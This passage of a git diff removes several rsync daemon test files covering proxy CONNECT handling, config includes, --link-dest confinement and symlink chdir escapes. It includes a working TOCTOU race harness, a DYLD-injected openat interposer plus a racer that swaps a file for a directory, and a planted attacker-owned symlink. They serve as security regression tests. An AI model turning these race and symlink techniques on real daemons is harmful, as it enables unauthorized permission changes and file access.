a).sendall(buf)\n-        if done:\n-            break\n-    for s in socks:\n-        try:\n-            s.close()\n-        except OSError:\n-            pass\n-\n-\n-def proxy_handle(cli):\n-    # Read header bytes until blank line. establish_proxy_connection() sends\n-    # one CONNECT line + optional Proxy-Authorization line + CRLFCRLF.\n-    hdr = b''\n-    while b'\\r\\n\\r\\n' not in hdr and len(hdr) < 4096:\n-        c = cli.recv(1)\n-        if not c:\n-            cli.close(); return\n-        hdr += c\n-    lines = hdr.split(b'\\r\\n')\n-    seen_connects.append(lines[0].decode('ascii', 'replace'))\n-    for ln in lines[1:]:\n-        if ln.lower().startswith(b'proxy-authorization:'):\n-            seen_auths.append(ln.decode('ascii', 'replace'))\n-    if deny_next.is_set():\n-        deny_next.clear()\n-        cli.sendall(b'HTTP/1.0 503 Service Unavailable\\r\\n\\r\\n')\n-        cli.close(); return\n-    cli.sendall(b'HTTP/1.0 200 Connection established\\r\\n\\r\\n')\n-    up = socket.create_connection(('127.0.0.1', DAEMON_PORT))\n-    relay(cli, up)\n-\n-\n-def proxy_loop(lsock):\n-    while True:\n-        try:\n-            c, _ = lsock.accept()\n-        except OSError:\n-            return\n-        threading.Thread(target=proxy_handle, args=(c,), daemon=True).start()\n-\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PROXY_PORT))\n-lsock.listen(8)\n-threading.Thread(target=proxy_loop, args=(lsock,), daemon=True).start()\n-\n-\n-def push_via_proxy(proxy_spec, expect_ok=True):\n-    env = dict(os.environ, RSYNC_PROXY=proxy_spec)\n-    # Any host:port the client asks to CONNECT to is fine; the mock proxy\n-    # always relays to DAEMON_PORT regardless. Use a non-loopback name so\n-    # the CONNECT line is recognizable.\n-    r = subprocess.run(\n-        rsync_argv('-r', f'{src}/',\n-                   f'rsync://upstream.example:{DAEMON_PORT}/mod/'),\n-        env=env, capture_output=True, text=True,\n-    )\n-    if expect_ok and r.returncode != 0:\n-        test_fail(f\"RSYNC_PROXY={proxy_spec!r}: rc={r.returncode}\\n{r.stderr}\")\n-    if not expect_ok and r.returncode == 0:\n-        test_fail(f\"RSYNC_PROXY={proxy_spec!r}: expected failure, got rc=0\")\n-    return r\n-\n-\n-# --- leg 1: no auth --------------------------------------------------------\n-push_via_proxy(f'127.0.0.1:{PROXY_PORT}')\n-if not seen_connects or 'CONNECT upstream.example:' not in seen_connects[-1]:\n-    test_fail(f\"mock proxy never saw CONNECT (got: {seen_connects!r})\")\n-\n-# --- leg 2: user:pass@ -> Proxy-Authorization: Basic base64(...) ----------\n-seen_auths.clear()\n-push_via_proxy(f'puser:ppass@127.0.0.1:{PROXY_PORT}')\n-if not seen_auths:\n-    test_fail(\"RSYNC_PROXY=user:pass@... should have sent Proxy-Authorization\")\n-want = 'Basic ' + base64.b64encode(b'puser:ppass').decode()\n-if want not in seen_auths[-1]:\n-    test_fail(f\"Proxy-Authorization mismatch: {seen_auths[-1]!r} vs {want!r}\")\n-\n-# --- leg 3: proxy returns 503 -> client must fail with the bad-response msg\n-deny_next.set()\n-r = push_via_proxy(f'127.0.0.1:{PROXY_PORT}', expect_ok=False)\n-if 'bad response from proxy' not in r.stderr and '503' not in r.stderr:\n-    test_fail(f\"503 from proxy should surface as 'bad response': {r.stderr!r}\")\n-\n-lsock.close()\n-print(f\"daemon-http-proxy: CONNECT (no-auth + Basic auth) + 503-deny ok\")\ndiff --git a/testsuite/daemon-include-maxconn_test.py b/testsuite/daemon-include-maxconn_test.py\ndeleted file mode 100644\nindex a6fca2d..0000000\n--- a/testsuite/daemon-include-maxconn_test.py\n+++ /dev/null\n@@ -1,118 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: rsyncd.conf `&include`/`&merge` directives + `max connections`.\n-\n-Covers:\n-  - params.c include_config(): both the file form (`&merge = file.inc`) and\n-    the directory form (`&include = dir/` -> readdir + glob *.conf + qsort\n-    via name_cmp() when count>1) -> the ]push/]reset/]pop section-stack path\n-    in loadparm.c.\n-  - connection.c claim_connection() / util1.c lock_range(): a module with\n-    `max connections = N` + `lock file = path` opens the lock file via\n-    open_no_attacker_symlinks() and lock_range()s a 4-byte slot.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    claim_ports, get_rootgid, get_rootuid, get_testuid,\n-    make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-# `&include` (manage_globals=1) ]push/]pop's the global section stack, so the\n-# parent conf's root-aware `uid = 0`/`gid = 0` does NOT propagate into the\n-# fragments -- the included modules would default to `nobody` and fail to\n-# write into root-owned dest dirs.  Mirror write_daemon_conf()'s handling.\n-if get_testuid() == get_rootuid():\n-    UIDGID = f'\\tuid = {get_rootuid()}\\n\\tgid = {get_rootgid()}\\n'\n-else:\n-    UIDGID = ''\n-\n-PORT = 12895\n-claim_ports(PORT)\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-# A directory of *.conf fragments for `&include = <dir>` (needs >=2 entries\n-# to hit name_cmp() via qsort, and a non-matching file to exercise the\n-# wildmatch(\"*.conf\", ...) skip).\n-conf_d = SCRATCHDIR / 'rsyncd.conf.d'\n-makepath(conf_d)\n-\n-dest_a = SCRATCHDIR / 'dest-incA'\n-dest_b = SCRATCHDIR / 'dest-incB'\n-dest_m = SCRATCHDIR / 'dest-merge'\n-makepath(dest_a, dest_b, dest_m)\n-\n-lockfile = SCRATCHDIR / 'rsyncd.lock'\n-\n-(conf_d / '20-b.conf').write_text(\n-    f'[incB]\\n\\tpath = {dest_b}\\n\\tread only = no\\n{UIDGID}'\n-)\n-(conf_d / '10-a.conf').write_text(\n-    '# fragment loaded via &include directory glob\\n'\n-    f'[incA]\\n'\n-    f'\\tpath = {dest_a}\\n'\n-    f'\\tread only = no\\n'\n-    f'\\tmax connections = 2\\n'\n-    f'\\tlock file = {lockfile}\\n'\n-    f'{UIDGID}'\n-)\n-(conf_d / 'README').write_text('not matched by *.conf glob\\n')\n-\n-# A single file for `&merge = <file>` (the manage_globals=0 / *.inc branch).\n-merge_inc = SCRATCHDIR / 'extra.inc'\n-merge_inc.write_text(\n-    f'[merged]\\n\\tpath = {dest_m}\\n\\tread only = no\\n'\n-)\n-\n-# Main conf: globals carry both directives. write_daemon_conf() emits\n-# `globals` as `key = value`, which is exactly the &include/&merge syntax.\n-conf = write_daemon_conf(\n-    [],\n-    globals={\n-        '&include': str(conf_d),\n-        '&merge': str(merge_inc),\n-    },\n-    name='include-maxconn.conf',\n-)\n-url = start_test_daemon(conf, PORT)\n-\n-\n-def push(module):\n-    return subprocess.run(\n-        rsync_argv('-r', f'{src}/', f'{url}{module}/'),\n-        capture_output=True, text=True,\n-    )\n-\n-\n-# --- &include directory: both fragment-defined modules must resolve --------\n-for mod, dest in (('incA', dest_a), ('incB', dest_b)):\n-    r = push(mod)\n-    if r.returncode != 0:\n-        test_fail(f\"&include dir: module [{mod}] should exist \"\n-                  f\"(rc={r.returncode}):\\n{r.stderr}\")\n-    if not any(dest.iterdir()):\n-        test_fail(f\"&include dir: push to [{mod}] wrote nothing into {dest}\")\n-\n-# --- &merge file: the [merged] module must resolve -------------------------\n-r = push('merged')\n-if r.returncode != 0:\n-    test_fail(f\"&merge file: module [merged] should exist \"\n-              f\"(rc={r.returncode}):\\n{r.stderr}\")\n-\n-# --- max connections: lock file was created and the slot taken+released ----\n-if not lockfile.exists():\n-    test_fail(f\"max connections=2 should have created lock file {lockfile}\")\n-# Second sequential push to [incA] reuses (or re-acquires) a slot; this\n-# exercises claim_connection() twice on the same lock file.\n-r = push('incA')\n-if r.returncode != 0:\n-    test_fail(f\"second push to [incA] (max connections=2) failed \"\n-              f\"(rc={r.returncode}):\\n{r.stderr}\")\n-\n-print(f\"daemon-include-maxconn: &include={conf_d.name}/ (2 *.conf, qsort), \"\n-      f\"&merge={merge_inc.name}, max connections=2 lock file ok\")\ndiff --git a/testsuite/daemon-leaf-type-race-fchmod_test.py b/testsuite/daemon-leaf-type-race-fchmod_test.py\ndeleted file mode 100644\nindex ee20525..0000000\n--- a/testsuite/daemon-leaf-type-race-fchmod_test.py\n+++ /dev/null\n@@ -1,444 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A leaf type race must not make the receiver chmod a directory.\n-\n-The secure resolver probes a non-directory leaf with ``O_DIRECTORY`` and then\n-opens it again with the caller's flags.  A Darwin interposer pauses after the\n-second failed probe and asks a separately sandboxed path controller to replace\n-the regular file with a directory.  The sandbox proves that the controller can\n-rename the entries but cannot chmod the directory itself.  A vulnerable\n-receiver accepts the directory fd from the second open, changes it from 0755 to\n-0600, then leaves the change behind when its write-open fails with EISDIR.\n-\n-Run via ``runtests.py --use-tcp`` outside an enclosing application sandbox.\n-\"\"\"\n-\n-from __future__ import annotations\n-\n-import errno\n-import os\n-import platform\n-import select\n-import shlex\n-import socket\n-import stat\n-import subprocess\n-import sys\n-import time\n-from pathlib import Path\n-\n-\n-def racer_main(argv: list[str]) -> int:\n-    if len(argv) != 5:\n-        raise SystemExit(\"racer requires TARGET VICTIM OLD READY_FIFO DONE_FIFO\")\n-    target, victim, old, ready_fifo, done_fifo = map(Path, argv)\n-\n-    before = stat.S_IMODE(victim.stat().st_mode)\n-    denied_errno = 0\n-    try:\n-        victim.chmod(0o600)\n-    except OSError as exc:\n-        denied_errno = exc.errno or 0\n-    after = stat.S_IMODE(victim.stat().st_mode)\n-    denied = denied_errno in (errno.EPERM, errno.EACCES) and after == before\n-    print(\n-        \"RACER_DIRECT_CHMOD\"\n-        f\" denied={denied} errno={denied_errno}\"\n-        f\" before={before:04o} after={after:04o}\",\n-        flush=True,\n-    )\n-    if not denied:\n-        return 2\n-\n-    with ready_fifo.open(\"rb\", buffering=0) as ready:\n-        if ready.read(1) != b\"R\":\n-            return 3\n-\n-    target.rename(old)\n-    victim.rename(target)\n-    mode_at_swap = stat.S_IMODE(target.stat().st_mode)\n-    print(\n-        \"RACER_SWAP target_to_old=True victim_to_target=True\"\n-        f\" mode_before_ack={mode_at_swap:04o}\",\n-        flush=True,\n-    )\n-    if mode_at_swap != before:\n-        return 4\n-\n-    with done_fifo.open(\"wb\", buffering=0) as done:\n-        done.write(b\"D\")\n-    return 0\n-\n-\n-# Enter helper mode before importing the test harness, which requires runner\n-# environment variables and owns the daemon-port bookkeeping.\n-if len(sys.argv) > 1 and sys.argv[1] == \"--racer\":\n-    sys.exit(racer_main(sys.argv[2:]))\n-\n-\n-from rsyncfns import (  # noqa: E402\n-    RSYNC,\n-    RSYNC_PEER,\n-    SCRATCHDIR,\n-    claim_ports,\n-    require_tcp,\n-    rmtree,\n-    test_fail,\n-    test_skipped, split_rsync_cmd,\n-)\n-\n-\n-PORT = 13213\n-SANDBOX_PROFILE = \"(version 1)(allow default)(deny file-write-mode)\"\n-\n-INTERPOSER_SOURCE = r\"\"\"\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <stdarg.h>\n-#include <stdint.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <sys/syscall.h>\n-#include <unistd.h>\n-\n-static int probes;\n-static int synchronizing;\n-\n-__attribute__((constructor))\n-static void race_interposer_loaded(void)\n-{\n-\tstatic const char marker[] = \"LEAF_TYPE_RACE interposer_loaded\\n\";\n-\t(void)write(STDERR_FILENO, marker, sizeof marker - 1);\n-}\n-\n-static int real_openat(int dfd, const char *path, int flags, mode_t mode)\n-{\n-\treturn (int)syscall(SYS_openat, dfd, path, flags, mode);\n-}\n-\n-static int send_ready(const char *path)\n-{\n-\tchar byte = 'R';\n-\tint fd = open(path, O_WRONLY);\n-\tint ok = fd >= 0 && write(fd, &byte, 1) == 1;\n-\tint saved = errno;\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\terrno = saved;\n-\treturn ok ? 0 : -1;\n-}\n-\n-static int await_done(const char *path)\n-{\n-\tchar byte;\n-\tint fd = open(path, O_RDONLY);\n-\tint ok = fd >= 0 && read(fd, &byte, 1) == 1 && byte == 'D';\n-\tint saved = errno;\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\terrno = saved;\n-\treturn ok ? 0 : -1;\n-}\n-\n-static void synchronize_with_racer(void)\n-{\n-\tconst char *ready = getenv(\"LEAF_TYPE_RACE_READY_FIFO\");\n-\tconst char *done = getenv(\"LEAF_TYPE_RACE_DONE_FIFO\");\n-\tstatic const char probe[] = \"LEAF_TYPE_RACE probe_returned\\n\";\n-\tstatic const char ack[] = \"LEAF_TYPE_RACE racer_acknowledged\\n\";\n-\tstatic const char failed[] = \"LEAF_TYPE_RACE synchronization_failed\\n\";\n-\n-\t(void)write(STDERR_FILENO, probe, sizeof probe - 1);\n-\tif (!ready || !done || send_ready(ready) < 0 || await_done(done) < 0) {\n-\t\t(void)write(STDERR_FILENO, failed, sizeof failed - 1);\n-\t\treturn;\n-\t}\n-\t(void)write(STDERR_FILENO, ack, sizeof ack - 1);\n-}\n-\n-static int race_openat(int dfd, const char *path, int flags, ...)\n-{\n-\tconst char *leaf = getenv(\"LEAF_TYPE_RACE_LEAF\");\n-\tconst char *trigger_text = getenv(\"LEAF_TYPE_RACE_TRIGGER\");\n-\tmode_t mode = 0;\n-\tint rc, saved, trigger = trigger_text ? atoi(trigger_text) : 2;\n-\n-\tif (flags & O_CREAT) {\n-\t\tva_list ap;\n-\t\tva_start(ap, flags);\n-\t\tmode = (mode_t)va_arg(ap, int);\n-\t\tva_end(ap);\n-\t}\n-\trc = real_openat(dfd, path, flags, mode);\n-\tsaved = errno;\n-\tif (!synchronizing && rc < 0 && (flags & O_DIRECTORY) && leaf\n-\t && strcmp(path, leaf) == 0 && ++probes == trigger) {\n-\t\tsynchronizing = 1;\n-\t\tsynchronize_with_racer();\n-\t\tsynchronizing = 0;\n-\t}\n-\terrno = saved;\n-\treturn rc;\n-}\n-\n-__attribute__((used))\n-static const struct {\n-\tconst void *replacement;\n-\tconst void *replacee;\n-} race_openat_interpose __attribute__((section(\"__DATA,__interpose\"))) = {\n-\t(const void *)(uintptr_t)&race_openat,\n-\t(const void *)(uintptr_t)&openat,\n-};\n-\"\"\"\n-\n-\n-def wait_for_port(process: subprocess.Popen[bytes]) -> None:\n-    deadline = time.monotonic() + 8\n-    while time.monotonic() < deadline:\n-        if process.poll() is not None:\n-            raise RuntimeError(f\"daemon exited during startup: {process.returncode}\")\n-        try:\n-            with socket.create_connection((\"127.0.0.1\", PORT), timeout=0.1):\n-                return\n-        except OSError:\n-            time.sleep(0.05)\n-    raise RuntimeError(\"timeout waiting for daemon listener\")\n-\n-\n-def stop_process(process: subprocess.Popen, timeout: float = 3) -> tuple:\n-    if process.poll() is None:\n-        process.terminate()\n-    try:\n-        return process.communicate(timeout=timeout)\n-    except subprocess.TimeoutExpired:\n-        process.kill()\n-        return process.communicate(timeout=timeout)\n-\n-\n-if platform.system() != \"Darwin\":\n-    test_skipped(\"leaf-type authority proof currently requires Darwin\")\n-if os.geteuid() == 0:\n-    test_skipped(\"leaf-type authority proof needs a non-root EACCES trigger\")\n-sandbox_exec = Path(\"/usr/bin/sandbox-exec\")\n-if not sandbox_exec.is_file():\n-    test_skipped(\"/usr/bin/sandbox-exec is unavailable\")\n-\n-require_tcp(\"leaf-type race needs an injected real TCP daemon\")\n-claim_ports(PORT)\n-\n-module = SCRATCHDIR / \"module\"\n-source = SCRATCHDIR / \"source\"\n-# A prior vulnerable run intentionally leaves module/target as a mode-0600\n-# directory.  Restore only that per-test object so a preserved scratch tree is\n-# removable on rerun.\n-if (module / \"target\").is_dir():\n-    (module / \"target\").chmod(0o700)\n-rmtree(module)\n-rmtree(source)\n-module.mkdir(parents=True)\n-source.mkdir()\n-(source / \"target\").write_bytes(b\"replacement data\\n\")\n-target = module / \"target\"\n-target.write_bytes(b\"read-only basis\\n\")\n-target.chmod(0o400)\n-victim = module / \"victim\"\n-victim.mkdir()\n-victim.chmod(0o755)\n-(victim / \"marker\").write_text(\"protected directory\\n\", encoding=\"utf-8\")\n-victim_inode = victim.stat().st_ino\n-old = module / \"old\"\n-ready_fifo = SCRATCHDIR / \"ready.fifo\"\n-done_fifo = SCRATCHDIR / \"done.fifo\"\n-ready_fifo.unlink(missing_ok=True)\n-done_fifo.unlink(missing_ok=True)\n-os.mkfifo(ready_fifo)\n-os.mkfifo(done_fifo)\n-\n-interposer_source = SCRATCHDIR / \"leaf_type_race_interposer.c\"\n-interposer = SCRATCHDIR / \"leaf_type_race_interposer.dylib\"\n-interposer_source.write_text(INTERPOSER_SOURCE, encoding=\"utf-8\")\n-compile_result = subprocess.run(\n-    [\n-        os.environ.get(\"CC\", \"cc\"),\n-        \"-dynamiclib\",\n-        \"-O2\",\n-        \"-Wall\",\n-        \"-Wextra\",\n-        \"-o\",\n-        os.fspath(interposer),\n-        os.fspath(interposer_source),\n-    ],\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.PIPE,\n-    text=True,\n-)\n-if compile_result.returncode != 0:\n-    test_fail(f\"interposer compilation failed: {compile_result.stderr}\")\n-\n-racer_command = [\n-    os.fspath(sandbox_exec),\n-    \"-p\",\n-    SANDBOX_PROFILE,\n-    sys.executable,\n-    os.path.abspath(__file__),\n-    \"--racer\",\n-    os.fspath(target),\n-    os.fspath(victim),\n-    os.fspath(old),\n-    os.fspath(ready_fifo.resolve()),\n-    os.fspath(done_fifo.resolve()),\n-]\n-racer = subprocess.Popen(\n-    racer_command,\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.PIPE,\n-    text=True,\n-    bufsize=1,\n-)\n-assert racer.stdout is not None\n-readable, _, _ = select.select([racer.stdout], [], [], 5)\n-if not readable:\n-    racer_stdout, racer_stderr = stop_process(racer)\n-    test_fail(\n-        \"sandbox racer did not finish its authority preflight: \"\n-        f\"stdout={racer_stdout!r} stderr={racer_stderr!r}\"\n-    )\n-preflight = racer.stdout.readline()\n-if \"RACER_DIRECT_CHMOD denied=True\" not in preflight:\n-    racer_stdout, racer_stderr = stop_process(racer)\n-    combined_stderr = racer_stderr or \"\"\n-    if \"sandbox_apply: Operation not permitted\" in combined_stderr:\n-        test_skipped(\"enclosing sandbox forbids nested sandbox-exec\")\n-    test_fail(\n-        \"sandbox racer retained chmod authority: \"\n-        f\"preflight={preflight!r} stdout={racer_stdout!r}\"\n-        f\" stderr={combined_stderr!r}\"\n-    )\n-\n-config = SCRATCHDIR / \"leaf-type-race.conf\"\n-config.write_text(\n-    f\"pid file = {SCRATCHDIR / 'rsyncd.pid'}\\n\"\n-    f\"lock file = {SCRATCHDIR / 'rsyncd.lock'}\\n\"\n-    f\"log file = {SCRATCHDIR / 'rsyncd.log'}\\n\"\n-    \"address = 127.0.0.1\\n\"\n-    f\"port = {PORT}\\n\"\n-    \"use chroot = no\\n\"\n-    \"[mod]\\n\"\n-    f\"    path = {module.resolve()}\\n\"\n-    \"    read only = no\\n\"\n-    \"    munge symlinks = no\\n\",\n-    encoding=\"utf-8\",\n-)\n-\n-daemon_env = os.environ.copy()\n-daemon_env.update(\n-    {\n-        \"DYLD_INSERT_LIBRARIES\": os.fspath(interposer),\n-        \"DYLD_FORCE_FLAT_NAMESPACE\": \"1\",\n-        \"LEAF_TYPE_RACE_LEAF\": \"target\",\n-        \"LEAF_TYPE_RACE_TRIGGER\": \"2\",\n-        \"LEAF_TYPE_RACE_READY_FIFO\": os.fspath(ready_fifo.resolve()),\n-        \"LEAF_TYPE_RACE_DONE_FIFO\": os.fspath(done_fifo.resolve()),\n-    }\n-)\n-daemon_command = split_rsync_cmd(RSYNC_PEER) + [\n-    \"--daemon\",\n-    \"--no-detach\",\n-    f\"--config={config}\",\n-]\n-daemon = subprocess.Popen(\n-    daemon_command,\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.PIPE,\n-    env=daemon_env,\n-)\n-\n-client = None\n-daemon_stdout = b\"\"\n-daemon_stderr = b\"\"\n-try:\n-    wait_for_port(daemon)\n-    client = subprocess.run(\n-        split_rsync_cmd(RSYNC)\n-        + [\n-            \"-rt\",\n-            \"--inplace\",\n-            \"--ignore-times\",\n-            \"--contimeout=5\",\n-            os.fspath(source / \"target\"),\n-            f\"rsync://127.0.0.1:{PORT}/mod/target\",\n-        ],\n-        stdout=subprocess.PIPE,\n-        stderr=subprocess.STDOUT,\n-        text=True,\n-        timeout=20,\n-    )\n-finally:\n-    daemon_stdout, daemon_stderr = stop_process(daemon)\n-\n-racer_tail, racer_stderr = stop_process(racer)\n-racer_stdout = preflight + (racer_tail or \"\")\n-daemon_text = (daemon_stderr or b\"\").decode(\"utf-8\", \"replace\")\n-target_stat = target.stat() if target.exists() else None\n-target_mode = stat.S_IMODE(target_stat.st_mode) if target_stat else -1\n-result_line = (\n-    \"RACE_RESULT\"\n-    f\" client_rc={client.returncode if client else 'missing'}\"\n-    f\" target_type={'directory' if target.is_dir() else 'other'}\"\n-    f\" target_mode={target_mode:04o}\"\n-    f\" old_is_file={old.is_file()} victim_exists={victim.exists()}\"\n-)\n-\n-confirmed = (\n-    client is not None\n-    and client.returncode != 0\n-    and \"RACER_SWAP\" in racer_stdout\n-    and \"mode_before_ack=0755\" in racer_stdout\n-    and \"LEAF_TYPE_RACE probe_returned\" in daemon_text\n-    and \"LEAF_TYPE_RACE racer_acknowledged\" in daemon_text\n-    and target.is_dir()\n-    and target_mode == 0o600\n-    and old.is_file()\n-    and not victim.exists()\n-    and target_stat is not None\n-    and target_stat.st_ino == victim_inode\n-)\n-\n-if confirmed:\n-    test_fail(\n-        \"H013 CONFIRMED: a mode-denied path controller replaced the leaf after \"\n-        \"the directory probe, and the receiver persistently chmodded the \"\n-        \"substituted directory from 0755 to 0600\\n\"\n-        f\"{racer_stdout}{daemon_text}{client.stdout if client else ''}\"\n-        f\"{result_line}\\n\"\n-    )\n-\n-if \"LEAF_TYPE_RACE interposer_loaded\" not in daemon_text:\n-    test_fail(\"invalid leaf-type race control: the daemon did not load the interposer\")\n-if \"LEAF_TYPE_RACE synchronization_failed\" in daemon_text:\n-    test_fail(\n-        \"invalid leaf-type race control: synchronization failed\\n\"\n-        f\"{racer_stdout}{daemon_text}{result_line}\\n\"\n-    )\n-if \"LEAF_TYPE_RACE probe_returned\" in daemon_text and \"RACER_SWAP\" not in racer_stdout:\n-    test_fail(\n-        \"invalid leaf-type race control: the probe fired without a completed swap\\n\"\n-        f\"{racer_stdout}{daemon_text}{result_line}\\n\"\n-    )\n-if \"LEAF_TYPE_RACE probe_returned\" not in daemon_text and (\n-    not target.is_file()\n-    or stat.S_IMODE(victim.stat().st_mode) != 0o755\n-):\n-    test_fail(\n-        \"invalid no-probe control: the old recovery path changed an entry\\n\"\n-        f\"{racer_stdout}{daemon_text}{client.stdout if client else ''}\"\n-        f\"{result_line}\\n\"\n-    )\n-\n-if \"RACER_SWAP\" in racer_stdout and target_mode != 0o755:\n-    test_fail(\n-        \"the raced victim directory changed unexpectedly: \"\n-        f\"mode={target_mode:04o}\\n{racer_stdout}{daemon_text}\"\n-    )\n-\n-print(\"leaf type validation prevented chmod of the substituted directory\")\ndiff --git a/testsuite/daemon-link-dest-escape_test.py b/testsuite/daemon-link-dest-escape_test.py\ndeleted file mode 100644\nindex 98f9d4d..0000000\n--- a/testsuite/daemon-link-dest-escape_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A daemon must confine a client's --link-dest/--compare-dest/--copy-dest basis\n-dir to the served module (Leonid Bugaev May-2026 re-audit, KI-48 / CVE-53795\n-surface; defense-in-depth guard).\n-\n-basis_link_stat() joins the peer-supplied basis dir with each fname and stats it.\n-A client sending --link-dest=../<sibling> (or an absolute path) must NOT make the\n-daemon stat files outside the module -- that would be an existence/size/mode\n-oracle for out-of-tree paths, even though CVE-53795 already refuses the\n-cross-boundary hardlink itself.\n-\n-The daemon already clamps such a path to the module root (longstanding sanitize\n-behavior, preserved through this branch's d33e599c path-confinement rework -- the\n-audit's \"runtime-confirmed\" KI-48 was a *local* receiver, where --link-dest=..\n-is the operator's own intended choice, not a boundary crossing).  This test locks\n-that confinement in: it pushes with --link-dest=../<sibling> where <sibling> is a\n-real dir next to the module root; the daemon reports \"link-dest arg does not\n-exist\" (to the client, via -v) only when it could NOT reach the dir, so reaching\n-the real out-of-tree dir (no warning) would be a regression/leak.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12894\n-\n-# Layout:  base/mod/        <- the served module (read only=no, push target)\n-#          base/sibling/    <- OUTSIDE the module; the client must not reach it\n-base = SCRATCHDIR / 'kid48'\n-rmtree(base)\n-mod = base / 'mod'\n-sibling = base / 'sibling'\n-makepath(mod)\n-makepath(sibling)\n-(sibling / 'probe').write_text('out-of-tree basis content\\n')\n-\n-# Client source to push.\n-src = base / 'src'\n-makepath(src)\n-(src / 'probe').write_text('client content\\n')\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(mod), 'read only': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Push with --link-dest=../sibling (a real dir just outside the module root).\n-proc = subprocess.run(\n-    rsync_argv('-rv', '--link-dest=../sibling', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-out = proc.stdout or ''\n-\n-# The daemon (receiver) runs check_alt_basis_dirs() / basis_link_stat() against\n-# the basis dir relative to the module root.  Confined: \"../sibling\" is clamped\n-# to \"sibling\" inside the module, which does not exist -> a \"does not exist\"\n-# warning.  Leaked: the daemon stats base/sibling (the real out-of-tree dir),\n-# so there is NO such warning.\n-reached_outside = 'does not exist' not in out and 'is not a dir' not in out\n-\n-if reached_outside:\n-    test_fail(\n-        \"daemon reached outside the module via --link-dest=../sibling: the \"\n-        \"out-of-tree directory was stat'd (no 'arg does not exist' warning), \"\n-        \"leaking the existence of paths outside the module.\\n--- client saw ---\\n\"\n-        + out)\n-\n-print(\"daemon-link-dest-escape: --link-dest=../sibling was confined to the \"\n-      \"module (out-of-tree basis dir not reachable)\")\ndiff --git a/testsuite/daemon-module-chdir-symlink_test.py b/testsuite/daemon-module-chdir-symlink_test.py\ndeleted file mode 100644\nindex 66b2663..0000000\n--- a/testsuite/daemon-module-chdir-symlink_test.py\n+++ /dev/null\n@@ -1,99 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon module-root chdir under `use chroot = no` must not follow planted\n-# symlinks at attacker-controlled path components.\n-#\n-# Threat: when a daemon is\n-# configured with `use chroot = no`, it calls change_dir(module_chdir)\n-# where module_chdir is the absolute path from rsyncd.conf `path =`.\n-# change_dir's absolute-path branch (util1.c:1193) is plain chdir() with\n-# NO symlink confinement. If the admin's configured path includes a\n-# component the attacker controls (e.g. `path = /home/$user/share`, or any\n-# /srv-style path under a non-root-owned parent), an attacker-planted\n-# symlink redirects the daemon's CWD out of the configured module before\n-# any transfer begins.\n-#\n-# This is the daemon-side analog of the symlink-race-dest XFAIL (the\n-# non-daemon receiver chdir); the daemon path has a clear fix here without\n-# the chdir-of-named-dest scope concern.\n-#\n-# Leak signal: configure the daemon with `path = $plant` where $plant is\n-# a planted symlink to an \"escape\" directory containing a unique-named\n-# canary file that the legitimate module doesn't have. List the module\n-# from a client; if the canary appears in the listing, the daemon's chdir\n-# followed the planted symlink and is serving files from the escape\n-# target. With the fix the chdir is refused and the daemon errors on\n-# connection.\n-#\n-# Requires root for the cross-uid plant; skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12900\n-CANARY = \"audit_escape_canary\"\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-base = SCRATCHDIR / 'modchdir'\n-rmtree(base)\n-base.mkdir()\n-\n-# The \"escape\" directory the attacker wants the daemon to serve from.\n-# Owned by us, with a canary file the legitimate module doesn't have.\n-escape_target = base / 'escape_target'\n-escape_target.mkdir()\n-(escape_target / CANARY).write_text(\"you-should-not-see-this\\n\")\n-\n-# The planted symlink: appears at the daemon-configured 'path =' and\n-# redirects to the escape target. The symlink itself is owned by NOBODY_UID\n-# (the attacker), so the fix's owned-by-trusted-uid path walk refuses it.\n-plant = base / 'plant'\n-os.symlink(escape_target, plant)\n-os.lchown(plant, NOBODY_UID, NOBODY_UID)\n-\n-# Daemon config: `path = $plant`. With `use chroot = no` (the default in\n-# write_daemon_conf) the daemon will chdir into the resolved path before\n-# serving the module.\n-conf = write_daemon_conf(\n-    [('mod', {'path': plant, 'read only': 'yes'})],\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Client lists the module's contents (rsync $url/mod/). Without the fix the\n-# daemon's chdir followed the planted symlink and is serving from\n-# escape_target -> canary appears in the listing.\n-proc = subprocess.run(\n-    rsync_argv(f'{url}mod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, 